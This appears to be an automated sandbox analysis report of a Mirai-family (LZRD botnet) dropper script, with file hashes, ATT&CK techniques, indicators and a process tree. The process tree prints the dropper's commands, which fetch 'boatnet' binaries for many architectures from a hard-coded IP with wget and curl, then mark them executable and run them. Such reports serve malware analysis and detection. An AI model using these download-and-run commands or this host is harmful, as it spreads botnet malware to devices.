mirai | f3e6052d4142e5a195e03e65d4a8acd2b7d6e790b6aacbc690ae909e7edb01f6

Analysis

max time kernel
148s
max time network
141s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
09-02-2025 16:21

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General

Target

ohshit.sh
Size

2KB
MD5

f0977aee35c9bf421f707b9bfba5d9f7
SHA1

5eacb3c68403f8f9c853f41914f27d5abc8645f5
SHA256

f3e6052d4142e5a195e03e65d4a8acd2b7d6e790b6aacbc690ae909e7edb01f6
SHA512

3184f088b0188b537c6a9ba0aa037c586d3267f17a11d4e6fbb65745b21dafbf37506e359dae372993fb6e28a06e3749b0b5a382901ac805cce83988772f53d9

Score

10^/10

mirai lzrd antivm botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
771	chmod
777	chmod
782	chmod
805	chmod
820	chmod
758	chmod
787	chmod
797	chmod
813	chmod
720	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/WTF	721	ohshit.sh
/tmp/WTF	759	ohshit.sh
/tmp/WTF	772	ohshit.sh
/tmp/WTF	778	ohshit.sh
/tmp/WTF	783	ohshit.sh
/tmp/WTF	789	ohshit.sh
/tmp/WTF	798	ohshit.sh
/tmp/WTF	806	ohshit.sh
/tmp/WTF	814	ohshit.sh
/tmp/WTF	821	ohshit.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF

Writes file to system bin folder 2 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/fstream-1.dat	upx
behavioral2/files/fstream-4.dat	upx
behavioral2/files/fstream-8.dat	upx

Checks CPU configuration 1 TTPs 10 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 44 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/646/cmdline	WTF
File opened for reading	/proc/809/cmdline	WTF
File opened for reading	/proc/831/cmdline	WTF
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/587/cmdline	WTF
File opened for reading	/proc/643/cmdline	WTF
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/exe	WTF
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/589/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/829/cmdline	WTF
File opened for reading	/proc/833/cmdline	WTF
File opened for reading	/proc/835/cmdline	WTF
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/815/cmdline	WTF
File opened for reading	/proc/817/cmdline	WTF
File opened for reading	/proc/642/cmdline	WTF
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/641/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/576/cmdline	WTF
File opened for reading	/proc/592/cmdline	WTF
File opened for reading	/proc/601/cmdline	WTF
File opened for reading	/proc/640/cmdline	WTF
File opened for reading	/proc/828/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/803/cmdline	WTF
File opened for reading	/proc/822/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/exe	WTF
File opened for reading	/proc/824/cmdline	WTF
File opened for reading	/proc/826/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
723	wget
754	curl
756	cat

Writes file to tmp directory 20 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/boatnet.mpsl	wget
File opened for modification	/tmp/boatnet.mpsl	curl
File opened for modification	/tmp/boatnet.x86_64	curl
File opened for modification	/tmp/boatnet.arm5	curl
File opened for modification	/tmp/boatnet.arm6	wget
File opened for modification	/tmp/boatnet.arm6	curl
File opened for modification	/tmp/boatnet.x86	curl
File opened for modification	/tmp/WTF	ohshit.sh
File opened for modification	/tmp/boatnet.mips	wget
File opened for modification	/tmp/boatnet.arc	curl
File opened for modification	/tmp/boatnet.arm7	wget
File opened for modification	/tmp/boatnet.arm5	wget
File opened for modification	/tmp/boatnet.mips	curl
File opened for modification	/tmp/boatnet.i686	curl
File opened for modification	/tmp/boatnet.arm	wget
File opened for modification	/tmp/boatnet.arm	curl
File opened for modification	/tmp/boatnet.x86	wget
File opened for modification	/tmp/boatnet.arc	wget
File opened for modification	/tmp/boatnet.i468	curl
File opened for modification	/tmp/boatnet.x86_64	wget

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:643
- /usr/bin/wget
  wget http://194.85.251.9/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:647
- /usr/bin/curl
  curl -O http://194.85.251.9/hiddenbin/boatnet.x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:677
- /bin/cat
  cat boatnet.x86
  2⤵
  PID:719
- /bin/chmod
  chmod +x boatnet.x86 ohshit.sh systemd-private-cf68e324a6ac428995c37c2b6973dc6f-systemd-timedated.service-OVwMN4 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:720
- /tmp/WTF
  ./WTF
  2⤵
  PID:721
- /usr/bin/wget
  wget http://194.85.251.9/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:723
- /usr/bin/curl
  curl -O http://194.85.251.9/hiddenbin/boatnet.mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:754
- /bin/cat
  cat boatnet.mips
  2⤵
  - System Network Configuration Discovery
  PID:756
- /bin/chmod
  chmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-cf68e324a6ac428995c37c2b6973dc6f-systemd-timedated.service-OVwMN4 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:758
- /tmp/WTF
  ./WTF
  2⤵
  PID:759
- /usr/bin/wget
  wget http://194.85.251.9/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:761
- /usr/bin/curl
  curl -O http://194.85.251.9/hiddenbin/boatnet.arc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:762
- /bin/cat
  cat boatnet.arc
  2⤵
  PID:770
- /bin/chmod
  chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:771
- /tmp/WTF
  ./WTF
  2⤵
  PID:772
- /usr/bin/wget
  wget http://194.85.251.9/hiddenbin/boatnet.i468
  2⤵
  PID:774
- /usr/bin/curl
  curl -O http://194.85.251.9/hiddenbin/boatnet.i468
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:775
- /bin/cat
  cat boatnet.i468
  2⤵
  PID:776
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /tmp/WTF
  ./WTF
  2⤵
  PID:778
- /usr/bin/wget
  wget http://194.85.251.9/hiddenbin/boatnet.i686
  2⤵
  PID:779
- /usr/bin/curl
  curl -O http://194.85.251.9/hiddenbin/boatnet.i686
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:780
- /bin/cat
  cat boatnet.i686
  2⤵
  PID:781
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:782
- /tmp/WTF
  ./WTF
  2⤵
  PID:783
- /usr/bin/wget
  wget http://194.85.251.9/hiddenbin/boatnet.x86_64
  2⤵
  - Writes file to tmp directory
  PID:784
- /usr/bin/curl
  curl -O http://194.85.251.9/hiddenbin/boatnet.x86_64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:785
- /bin/cat
  cat boatnet.x86_64
  2⤵
  PID:786
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:787
- /tmp/WTF
  ./WTF
  2⤵
  PID:789
- /usr/bin/wget
  wget http://194.85.251.9/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:791
- /usr/bin/curl
  curl -O http://194.85.251.9/hiddenbin/boatnet.mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:793
- /bin/cat
  cat boatnet.mpsl
  2⤵
  PID:796
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /tmp/WTF
  ./WTF
  2⤵
  PID:798
- /usr/bin/wget
  wget http://194.85.251.9/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:800
- /usr/bin/curl
  curl -O http://194.85.251.9/hiddenbin/boatnet.arm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:801
- /bin/cat
  cat boatnet.arm
  2⤵
  PID:804
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/WTF
  ./WTF
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:806
- /usr/bin/wget
  wget http://194.85.251.9/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:810
- /usr/bin/curl
  curl -O http://194.85.251.9/hiddenbin/boatnet.arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:811
- /bin/cat
  cat boatnet.arm5
  2⤵
  PID:812
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:813
- /tmp/WTF
  ./WTF
  2⤵
  PID:814
- /usr/bin/wget
  wget http://194.85.251.9/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:815
- /usr/bin/curl
  curl -O http://194.85.251.9/hiddenbin/boatnet.arm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:818
- /bin/cat
  cat boatnet.arm6
  2⤵
  PID:819
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:820
- /tmp/WTF
  ./WTF
  2⤵
  - Reads runtime system information
  PID:821
- /usr/bin/wget
  wget http://194.85.251.9/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:822

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/WTF

Filesize
31KB

MD5
e26c06fcc3b3e46040e49ac9c0b68928

SHA1
2a631555a166c51b94f898506385fe3648eb14e5

SHA256
5232159e652b1445635ef83fb65f61290a253dd7184d329619998c10e0e9b744

SHA512
443ee05d75e7c4151b0e9f88e604118e160b440b3be7353243bdb2e499c745aa42378769d3de3517fa09672eeef1d35669d0ae78abedcb8f12f65ae011d824e6

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/tmp/WTF

Filesize
121KB

MD5
9220e451fa71e3e48e84a8e92ff02048

SHA1
113c6bf14a37bb9e39c6014733ad8937e2590bae

SHA256
e78e7849fc3c272825be14fcc90f9f7db062b6b36317c57310c4c03acc48118f

SHA512
5dbcb688b1b86fa7de6d6820eff1c57352eb76f4a899e7feee0e5478c8b2e68e00d59db9c3e54b850d058d45fbb86e3d5f94c8993b0565440b1ef75af6b7f853

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/tmp/WTF

Filesize
220B

MD5
f1c24d9fa40a047ae22d2d3ae7dfeac9

SHA1
750274b02d5f5b00026a4f55b020f4285c693533

SHA256
219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

SHA512
36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

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/tmp/WTF

Filesize
220B

MD5
a8f502a6fb3b7b940e922c951d9e493a

SHA1
fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

SHA256
748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

SHA512
e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

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/tmp/WTF

Filesize
34KB

MD5
e109caa2b24b7264b0255150e0030335

SHA1
cec6105439346b8dba4c1afb549a38db1c6be4a7

SHA256
6e86cd7ed58787a99ec72f2f9f659af85e362a5a7c361c3c56b041291c25492c

SHA512
08cd44acb7625f3ad596092f2f70ae20d9635936f7c2db646a54d2e09bc564fd0a038140f75be4479eef496e6b91676d7c1e55d876d949c2ea05d8c93173f1fd

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/tmp/boatnet.x86

Filesize
29KB

MD5
8231c76be6663e62d7d5a8ea685ff498

SHA1
03177493e6a6d9e3b7aaca572245065ffcfe0575

SHA256
c45cbd5ce92e34f62bd3e1e19c36daf662860aac2a22a5d67924788acc71e3bc

SHA512
1a8eb5eaf84d38252f4535a2a89aca76fadf7854d218c6bca7ec2521ee485d9bd082e3eeff4ec981abaf0e18afc0eed7415ae656d3080b152fb7b35370caa9ac

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads